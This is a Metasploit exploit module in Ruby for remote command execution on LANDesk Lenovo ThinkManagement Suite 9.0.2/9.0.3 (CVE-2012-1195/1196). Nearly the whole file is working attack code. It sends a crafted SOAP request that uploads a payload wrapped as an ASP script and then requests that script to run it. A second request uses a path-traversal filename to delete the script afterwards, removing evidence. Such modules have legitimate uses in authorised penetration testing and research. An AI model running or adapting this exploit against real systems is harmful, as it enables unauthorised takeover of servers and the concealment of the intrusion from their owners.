##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize
		super(
			'Name'        => 'LANDesk Lenovo ThinkManagement Console Remote Command Execution',
			'Description'    => %q{
					This module can be used to execute a payload on LANDesk Lenovo
				ThinkManagement Suite 9.0.2 and 9.0.3.

				The payload is uploaded as an ASP script by sending a specially crafted
				SOAP request to "/landesk/managementsuite/core/core.anonymous/ServerSetup.asmx"
				, via a "RunAMTCommand" operation with the command '-PutUpdateFileCore'
				as the argument.

				After execution, the ASP script with the payload is deleted by sending
				another specially crafted SOAP request to "WSVulnerabilityCore/VulCore.asmx"
				via a "SetTaskLogByFile" operation.
			},
			'Author'      => [
				'Andrea Micalizzi', # aka rgod - Vulnerability Discovery and PoC
				'juan vazquez' # Metasploit module
			],
			'Platform'    => 'win',
			'References'  =>
				[
					['CVE', '2012-1195'],
					['CVE', '2012-1196'],
					['OSVDB', '79276'],
					['OSVDB', '79277'],
					['BID', '52023'],
					['EDB', '18622'],
					['EDB', '18623']
				],
			'Targets'     =>
				[
					[ 'LANDesk Lenovo ThinkManagement Suite 9.0.2 / 9.0.3 / Microsoft Windows Server 2003 SP2', { } ],
				],
			'DefaultTarget'  => 0,
			'Privileged'     => false,
			'DisclosureDate' => 'Feb 15 2012'
		)

		register_options(
			[
				OptString.new('PATH', [ true,  "The URI path of the LANDesk Lenovo ThinkManagement Console", '/'])
			], self.class)
	end

	def exploit

		peer = "#{rhost}:#{rport}"

		# Generate the ASP containing the EXE containing the payload
		exe = generate_payload_exe
		asp = Msf::Util::EXE.to_exe_asp(exe)

		# htmlentities like encoding
		asp = asp.gsub("&", "&amp;").gsub("\"", "&quot;").gsub("'", "&#039;").gsub("<", "&lt;").gsub(">", "&gt;")

		uri_path = (datastore['PATH'][-1,1] == "/" ? datastore['PATH'] : datastore['PATH'] + "/")
		upload_random = rand_text_alpha(rand(6) + 6)
		upload_xml_path = "ldlogon\\#{upload_random}.asp"

		soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<RunAMTCommand xmlns="http://tempuri.org/">
			<Command>-PutUpdateFileCore</Command>
			<Data1>#{rand_text_alpha(rand(4) + 4)}</Data1>
			<Data2>#{upload_xml_path}</Data2>
			<Data3>#{asp}</Data3>
			<ReturnString>#{rand_text_alpha(rand(4) + 4)}</ReturnString>
		</RunAMTCommand>
	</soap:Body>
</soap:Envelope>
		eos

		#
		# UPLOAD
		#
		attack_url = uri_path + "landesk/managementsuite/core/core.anonymous/ServerSetup.asmx"
		print_status("#{peer} - Uploading #{asp.length} bytes through #{attack_url}...")

		res = send_request_cgi({
			'uri'          => attack_url,
			'method'       => 'POST',
			'ctype'        => 'text/xml; charset=utf-8',
			'headers'	=> {
					'SOAPAction'     => "\"http://tempuri.org/RunAMTCommand\"",
				},
			'data'         => soap,
		}, 20)

		if (! res)
			print_status("#{peer} - Timeout: Trying to execute the payload anyway")
		elsif (res.code < 200 or res.code >= 300)
			print_error("#{peer} - Upload failed on #{attack_url} [#{res.code} #{res.message}]")
			return
		end

		#
		# EXECUTE
		#
		upload_path = uri_path + "ldlogon/#{upload_random}.asp"
		print_status("#{peer} - Executing #{upload_path}...")

		res = send_request_cgi({
			'uri'          =>  upload_path,
			'method'       => 'GET'
		}, 20)

		if (! res)
			print_error("#{peer} - Execution failed on #{upload_path} [No Response]")
			return
		end

		if (res.code < 200 or res.code >= 300)
			print_error("#{peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]")
			return
		end


		#
		# DELETE
		#
		soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<SetTaskLogByFile xmlns="http://tempuri.org/">
			<computerIdn>1</computerIdn>
			<taskid>1</taskid>
			<filename>../#{upload_random}.asp</filename>
			</SetTaskLogByFile>
	</soap:Body>
</soap:Envelope>
		eos

		attack_url = uri_path + "WSVulnerabilityCore/VulCore.asmx"
		print_status("#{peer} - Deleting #{upload_path} through #{attack_url}...")

		res = send_request_cgi({
			'uri'          => attack_url,
			'method'       => 'POST',
			'ctype'        => 'text/xml; charset=utf-8',
			'headers'      => {
					'SOAPAction'     => "\"http://tempuri.org/SetTaskLogByFile\"",
				},
			'data'         => soap,
		}, 20)

		if (! res)
			print_error("#{peer} - Deletion failed at #{attack_url} [No Response]")
			return
		elsif (res.code < 200 or res.code >= 300)
			print_error("#{peer} - Deletion failed at #{attack_url} [#{res.code} #{res.message}]")
			return
		end

		handler
	end

end
